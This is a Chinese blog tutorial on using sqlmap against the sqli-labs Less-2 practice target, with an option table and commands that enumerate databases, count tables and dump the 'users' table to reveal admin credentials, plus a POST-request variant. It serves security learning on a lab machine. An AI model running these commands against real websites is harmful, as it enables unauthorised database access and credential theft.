web安全-sqlmap的使用

本文介绍了如何使用sqlmap工具进行SQL注入,包括寻找注入点、查库、查表和获取数据的步骤。在示例中,通过注入获取了目标网站的‘security’数据库中的‘users’表数据,揭示了管理员账户和密码。
摘要由CSDN通过智能技术生成

一、前言

  sqlmap是一款非常好用的自动化的sql注入工具,本文演示中的目标是靶机的Less-2,使用kali自带的工具sqlmap进行注入。其中kali版本为2020.3。
  本文只是简单的学习使用工具,若需要了解更多请点击前往sqlmap中文使用手册学习。

二、参数说明

  在这里我将说明sqlmap使用过程中常用到的一些参数。

参数作用
-u指定目标URL
–ignore-401使用该参数忽略401错误(未认证)
–delay定HTTP请求之间的延迟
–randomize随机生成每次HTTP请求中参数的值
–safe-url隔一会就访问一下的安全URL
–csrf-token 和 –csrf-url绕过CSRF保护
-o一键优化
-p “id”测试注入点
–dbms指定数据库
–level用于指定检测级别,有1~5共5级
–risk指定风险等级,有1~4共4级
-dbs 和 -D查询所有数据库名
-tables 和 -T查询所有表名
–common-tables暴力破解表名
columns查询所有列名
–common-columns暴力破解列名
–all一键列举全部数据
-b列举数据库管理系统信息
–current-db列举当前数据库
–current-user列举当前用户
–passwords列举并破解数据库管理系统用户密码Hash值
–count统计数据数目
–dump列举表中数据

  我所列举出来的参数仅是个人感觉有用的,标注出来的是最基础的。工具就在于懂得原理之后去使用!

三、注入演示

  sql注入的步骤主要分为:找注入点->查库->查表->出数据。具体的sql注入请前往另一篇博客web安全-sql注入学习。接下来我们直接展示!
  开始之前我们得需要明白我们的目标是啥!!!!我们的目标就是找到这个网站的管理员账户和密码!!

1、寻找注入点

  简单的测试我们便知道目标网站的注入点是:id,通过get传参。

2、查库

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  -dbs

结果展示:
在这里插入图片描述  以上是所有数据库,那么怎么查询本站的数据库呢?

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  –current-db

结果展示:
在这里插入图片描述
  到这里我们知道了数据库是‘security’。接下来我们就需要查看这个库中有哪些表呢?

3、查表

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  --count -D security

结果展示:
在这里插入图片描述
  这里我采用了给这个数据库中的表统计数据,去除空表,可以看到users表肯定是我们想要的账号密码数据表。接下来我们就该让他出数据了。

4、出数据

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  --dump -D security -T users

结果展示:
在这里插入图片描述
  这里让它列出来了表中的所有数据,我们可以看到所有用户账号密码。自然也有管理员账户和密码,目标达成!
  到这里我们的演示就结束了!

注:
  以上演示的是get传参,若使用post传参则Payload有所不同,需要用抓包工具将请求包的数据放入txt文件读取注入,展示如下:

Payload:root@kali:~/桌面# sqlmap -r test.txt -dbs

结果展示:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

先剃度再出家

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值